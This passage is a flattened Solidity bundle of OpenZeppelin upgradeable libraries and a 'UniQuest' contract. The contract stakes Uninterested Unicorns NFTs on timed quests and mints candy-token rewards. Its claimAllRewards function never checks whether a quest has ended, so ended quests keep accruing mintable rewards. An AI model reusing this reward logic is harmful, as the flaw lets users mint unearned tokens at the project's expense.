__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721ReceiverUpgradeable.sol";
import "../../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC721Receiver} interface.
*
* Accepts all token transfers.
* Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.
*/
contract ERC721HolderUpgradeable is Initializable, IERC721ReceiverUpgradeable {
function __ERC721Holder_init() internal initializer {
__ERC721Holder_init_unchained();
}
function __ERC721Holder_init_unchained() internal initializer {
}
/**
* @dev See {IERC721Receiver-onERC721Received}.
*
* Always returns `IERC721Receiver.onERC721Received.selector`.
*/
function onERC721Received(
address,
address,
uint256,
bytes memory
) public virtual override returns (bytes4) {
return this.onERC721Received.selector;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library CountersUpgradeable {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMathUpgradeable {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/utils/ERC721HolderUpgradeable.sol";
import "./interfaces/IUninterestedUnicorns.sol";
import "./interfaces/ICandyToken.sol";
contract UniQuest is
AccessControlUpgradeable,
ERC721HolderUpgradeable,
ReentrancyGuardUpgradeable
{
using SafeMathUpgradeable for uint256;
using CountersUpgradeable for CountersUpgradeable.Counter;
struct Quest {
address questOwner;
uint256 questLevel;
uint256 questStart;
uint256 questEnd;
uint256 lastClaim;
uint256 clanMultiplier;
uint256 rareMultiplier;
uint256 lengthMultiplier;
uint256[] unicornIds;
QuestState questState;
}
struct ClanCounter {
uint8 airCount;
uint8 earthCount;
uint8 fireCount;
uint8 waterCount;
uint8 darkCount;
uint8 pureCount;
}
// Enums
enum Clans {
AIR,
EARTH,
FIRE,
WATER,
DARK,
PURE
}
enum QuestState {
IN_PROGRESS,
ENDED
}
IUninterestedUnicorns public UU;
ICandyToken public UCD;
uint256 public baseReward;
uint256 public baseRoboReward;
uint256 public baseGoldenReward;
uint256 private timescale;
uint256[] public clanMultipliers;
uint256[] public rareMultipliers;
uint256[] public lengthMultipliers;
uint256[] public questLengths;
bytes public clans;
mapping(uint256 => Quest) public quests;
mapping(address => uint256[]) public userQuests; // Maps user address to questIds
mapping(uint256 => uint256) public onQuest; // Maps tokenId to QuestId (0 = not questing)
mapping(uint256 => uint256) clanCounter;
mapping(uint256 => bool) private isRoboUni;
mapping(uint256 => bool) private isGoldenUni;
mapping(uint256 => uint256) private HODLLastClaim;
// Private Variables
CountersUpgradeable.Counter private _questId;
bool private initialized;
// Reserve Storage
uint256[50] private ______gap;
// Events
event QuestStarted(
address indexed user,
uint256 questId,
uint256[] unicornIds,
uint256 questLevel,
uint256 questStart,
uint256 questEnd
);
event QuestEnded(address indexed user, uint256 questId, uint256 endDate);
event RewardClaimed(
address indexed user,
uint256 amount,
uint256 claimTime
);
event QuestUpgraded(
address indexed user,
uint256 questId,
uint256 questLevel
);
// Modifiers
modifier onlyAdmin() {
require(
hasRole(DEFAULT_ADMIN_ROLE, _msgSender()),
"UninterestedUnicorns: OnlyAdmin"
);
_;
}
function __UniQuest_init(
address uu,
uint256 _baseReward,
uint256 _baseRoboReward,
uint256 _baseGoldenReward,
address deployer,
address treasury
) public initializer {
require(!initialized, "Contract instance has already been initialized");
__AccessControl_init();
__ReentrancyGuard_init();
__ERC721Holder_init();
// Constructor init
_setupRole(DEFAULT_ADMIN_ROLE, deployer); // To revoke access after functions are set
grantRole(DEFAULT_ADMIN_ROLE, treasury);
baseReward = _baseReward;
baseRoboReward = _baseRoboReward;
baseGoldenReward = _baseGoldenReward;
UU = IUninterestedUnicorns(uu);
clanMultipliers = [10000, 10000, 10200, 10400, 10600, 11000];
rareMultipliers = [10000, 10200, 10400, 10600, 10800, 11000];
lengthMultipliers = [10000, 10500, 11000];
questLengths = [30 days, 90 days, 180 days];
timescale = 1 days;
initialized = true;
}
// ------------------------- USER FUNCTION ---------------------------
/// @dev Start quest. questLevels = 0,1,2
/// @notice Sends U_Us (max. 5) on a quest, U_Us of the same clan and if rare will get a bonus multiplier!
function startQuest(uint256[] memory unicornIds, uint256 questLevel)
public
{
require(
areOwned(unicornIds),
"UniQuest: One or More Unicorns are not owned by you!"
);
require(questLevel <= 2, "UniQuest: Invalid Quest Level!");
require(unicornIds.length <= 5, "UniQuest: Maximum of 5 U_U only!");
require(unicornIds.length > 0, "UniQuest: At least 1 U_U required!");
_questId.increment();
_lockTokens(unicornIds);
for (uint256 i = 0; i < unicornIds.length; i++) {
onQuest[unicornIds[i]] = _questId.current();
}
uint256 _clanMultiplier;
uint256 _rareMultiplier;
(_clanMultiplier, _rareMultiplier) = calculateMultipliers(unicornIds);
Quest memory _quest = Quest(
msg.sender, // address questOwner
questLevel, // uint256 questLevel;
block.timestamp, // uint256 questStart;
block.timestamp.add(questLengths[questLevel]), // uint256 questEnd;
block.timestamp, // uint256 lastClaim;
_clanMultiplier, // uint256 clanMultiplier;
_rareMultiplier, // uint256 rareMultiplier;
lengthMultipliers[questLevel], // uint256 lengthMultiplier;
unicornIds, // uint256[] unicornIds;
QuestState.IN_PROGRESS // QuestState questState;
);
quests[_questId.current()] = _quest;
userQuests[msg.sender].push(_questId.current());
emit QuestStarted(
msg.sender,
_questId.current(),
unicornIds,
questLevel,
block.timestamp,
block.timestamp.add(questLengths[questLevel])
);
}
/// @dev Start quest. questLevels = 0,1,2
/// @notice Sends U_Us (max. 5) on a quest, U_Us of the same clan and if rare will get a bonus multiplier!
function upgradeQuest(uint256 questId, uint256 questLevel) public {
Quest storage quest = quests[questId];
require(
quest.questOwner == msg.sender,
"UniQuest: Quest not owned by you!"
);
require(questLevel <= 2, "UniQuest: Invalid Quest Level!");
require(
questLevel > quest.questLevel,
"UniQuest: Invalid Quest Level!"
);
// Increase Lockup Duration
quest.questLevel = questLevel;
quest.questEnd = block.timestamp + questLengths[questLevel];
quest.lengthMultiplier = lengthMultipliers[questLevel];
}
/// @dev Claim UCD reward for given quest
function claimRewards(uint256 questId) public nonReentrant {
Quest storage quest = quests[questId];
address questOwner = quest.questOwner;
require(
msg.sender == questOwner,
"UniQuest: Only quest owner can claim candy"
);
require(
quest.questState == QuestState.IN_PROGRESS,
"UniQuest: Quest has already ended!"
);
uint256 rewards = calculateRewards(questId);
UCD.mint(questOwner, rewards);
quest.lastClaim = block.timestamp;
emit RewardClaimed(msg.sender, rewards, block.timestamp);
}
/// @dev QOL to claim all rewards
function claimAllRewards() public nonReentrant {
uint256[] memory questIds = getUserQuests(msg.sender);
uint256 totalRewards = 0;
Quest storage quest;
for (uint256 i = 0; i < questIds.length; i++) {
totalRewards = totalRewards.add(calculateRewards(questIds[i]));
quest = quests[questIds[i]];
quest.lastClaim = block.timestamp;
}
UCD.mint(msg.sender, totalRewards);
}
/// @dev Claim HODLing Rewards for owned pure U_Us
/// @notice You can only claim HODL rewards for your owned pure U_Us
function claimHODLRewards(uint256[] memory tokenIds) public nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
require(
UU.ownerOf(tokenIds[i]) == msg.sender,
"UniQuest: Not Owner of token"
);
}
uint256 rewards = calculateHODLRewards(tokenIds);
for (uint256 i = 0; i < tokenIds.length; i++) {
HODLLastClaim[tokenIds[i]] = block.timestamp;
}
UCD.mint(msg.sender, rewards);
}
/// @dev Claim tokens and leave quest
/// @notice End quest for U_Us. You will stop acumulating UCD.
function endQuest(uint256 questId) public {
// Only Quest Owner
require(
msg.sender == quests[questId].questOwner,
"UniQuest: Not the owner of quest"
);
// Current Time > Quest End Time
require(
isQuestEndable(questId),
"UniQuest: Unicorns are still questing!"
);
// Must be questing state
require(
quests[questId].questState == QuestState.IN_PROGRESS,
"UniQuest: Quest already Ended"
);
// Distribute Remaining Rewards
claimRewards(questId);
// Unlock Tokens
_unlockTokens(quests[questId].unicornIds);
// Change Quest State such that further claims cannot be made
quests[questId].questState = QuestState.ENDED;
emit QuestEnded(msg.sender, questId, block.timestamp);
}
// ----------------------- View FUNCTIONS -----------------------
/// @dev Determines if quest is ended
function isQuestEndable(uint256 questId) public view returns (bool) {
return block.timestamp > quests[questId].questEnd;
}
/// @dev Retrieves clan multiplier
function getClanMultiplier(uint256 clanCount)
public
view
returns (uint256)
{
return clanMultipliers[clanCount];
}
/// @dev Retrieves Rare multiplier
function getRareMultiplier(uint256 rareCount)
public
view
returns (uint256)
{
return rareMultipliers[rareCount];
}
/// @dev Retrieves Length multiplier
function getLengthMultiplier(uint256 questLevel)
public
view
returns (uint256)
{
return lengthMultipliers[questLevel];
}
/// @dev Calculates Clan Multiplier based on tokenIds
function calculateMultipliers(uint256[] memory _tokenIds)
internal
view
returns (uint256 _clanMultiplier, uint256 _rareMultiplier)
{
uint8[6] memory _clanCounter = [0, 0, 0, 0, 0, 0];
uint8 maxCount = 0;
uint8 maxIndex;
uint256 rareCount = 0;
// Count UU per clan
for (uint8 i = 0; i < _tokenIds.length; i++) {
_clanCounter[getClan(_tokenIds[i]) - 1] += 1;
}
// Find Maximum Count and Index of Max Count
for (uint8 i = 0; i < _clanCounter.length; i++) {
if (_clanCounter[i] > maxCount) {
maxCount = _clanCounter[i];
maxIndex = i;
}
}
// Wildcard bonus
if (maxIndex < 4) {
maxCount += _clanCounter[5];
}
_clanMultiplier = getClanMultiplier(maxCount);
rareCount = rareCount.add(_clanCounter[4]).add(_clanCounter[5]);
_rareMultiplier = getRareMultiplier(rareCount);
}
/// @dev Calulate HODLing rewards for tokenIds given
function calculateHODLRewards(uint256[] memory tokenIds)
public
view
returns (uint256 HODLRewards)
{
HODLRewards = 0;
for (uint256 i = 0; i < tokenIds.length; i++) {
if (isGoldenUni[tokenIds[i]]) {
HODLRewards = HODLRewards.add(
baseGoldenReward.mul(calcGoldenDuration(tokenIds[i])).div(
timescale
)
);
} else if (isRoboUni[tokenIds[i]]) {
HODLRewards = HODLRewards.add(
baseRoboReward.mul(calcRoboDuration(tokenIds[i])).div(
timescale
)
);
}
}
}
/// @dev Calculate duration since last claim for golden U_Us
function calcGoldenDuration(uint256 tokenId)
private
view
returns (uint256)
{
return block.timestamp.sub(HODLLastClaim[tokenId]);
}
/// @dev Calculate duration since last claim for UniMech U_Us
function calcRoboDuration(uint256 tokenId) private view returns (uint256) {
return block.timestamp.sub(HODLLastClaim[tokenId]);
}
/// @dev Caluclate rewards for given Quest Id
function calculateRewards(uint256 questId)
public
view
returns (uint256 rewardAmount)
{
Quest memory quest = quests[questId];
rewardAmount = baseReward
.mul(block.timestamp.sub(quest.lastClaim))
.mul(quest.unicornIds.length)
.mul(quest.clanMultiplier)
.mul(quest.rareMultiplier)
.mul(quest.lengthMultiplier)
.div(timescale)
.div(1000000000000);
}
/// @dev Determines if the tokenIds are availiable for questing
function areAvailiable(uint256[] memory tokenIds)
public
view
returns (bool out)
{
out = true;
for (uint256 i = 0; i < tokenIds.length; i++) {
if (onQuest[tokenIds[i]] > 0) {
out = false;
}
}
}
/// @dev Determines if the all tokenIds are owned by msg sneder
function areOwned(uint256[] memory tokenIds)
public
view
returns (bool out)
{
out = true;
for (uint256 i = 0; i < tokenIds.length; i++) {
if (UU.ownerOf(tokenIds[i]) != msg.sender) {
out = false;
}
}
}
function getUserQuests(address user)
public
view
returns (uint256[] memory)
{
return userQuests[user];
}
function getQuest(uint256 questId) public view returns (Quest memory) {
return quests[questId];
}
function isQuestOver(uint256 questId) public view returns (bool) {
Quest memory quest = quests[questId];
return block.timestamp > quest.questEnd;
}
function getClan(uint256 tokenId) public view returns (uint8) {
return uint8(clans[tokenId - 1]);
}
// ---------------------- ADMIN FUNCTIONS -----------------------
function setBaseReward(uint256 _amount) public onlyAdmin {
baseReward = _amount;
}
function setRoboReward(uint256 _amount) public onlyAdmin {
baseRoboReward = _amount;
}
function setGoldenReward(uint256 _amount) public onlyAdmin {
baseGoldenReward = _amount;
}
/// @dev Storing Clan Metadata as 1 byte hexes on a byte for gas optimization
function setRoboIds(uint256[] memory _roboTokenIds) public onlyAdmin {
for (uint256 i = 0; i < _roboTokenIds.length; i++) {
isRoboUni[_roboTokenIds[i]] = true;
HODLLastClaim[_roboTokenIds[i]] = block.timestamp;
}
}
/// @dev Storing Clan Metadata as 1 byte hexes on a byte for gas optimization
function setGoldenIds(uint256[] memory _goldenTokenIds) public onlyAdmin {
for (uint256 i = 0; i < _goldenTokenIds.length; i++) {
isGoldenUni[_goldenTokenIds[i]] = true;
HODLLastClaim[_goldenTokenIds[i]] = block.timestamp;
}
}
/// @dev Storing Clan Metadata as 1 byte hexes on a byte for gas optimization
function updateClans(bytes calldata _clans) public onlyAdmin {
clans = _clans;
}
function setUniCandy(address uniCandy) public onlyAdmin {
UCD = ICandyToken(uniCandy);
}
function setTimeScale(uint256 _newTimescale) public onlyAdmin {
timescale = _newTimescale;
}
function transferQuestOwnership(uint256 questId, address newOwner)
public
onlyAdmin
{
Quest storage quest = quests[questId];
quest.questOwner = newOwner;
}
function setQuestLengths(uint256[] memory _newQuestLengths)
public
onlyAdmin
{
questLengths = _newQuestLengths;
}
function _lockTokens(uint256[] memory tokenIds) private {
for (uint256 i; i < tokenIds.length; i++) {
UU.safeTransferFrom(msg.sender, address(this), tokenIds[i]);
}
}
function _unlockTokens(uint256[] memory tokenIds) private {
for (uint256 i; i < tokenIds.length; i++) {
UU.safeTransferFrom(address(this), msg.sender, tokenIds[i]);
// reset last claim for HODL rewards
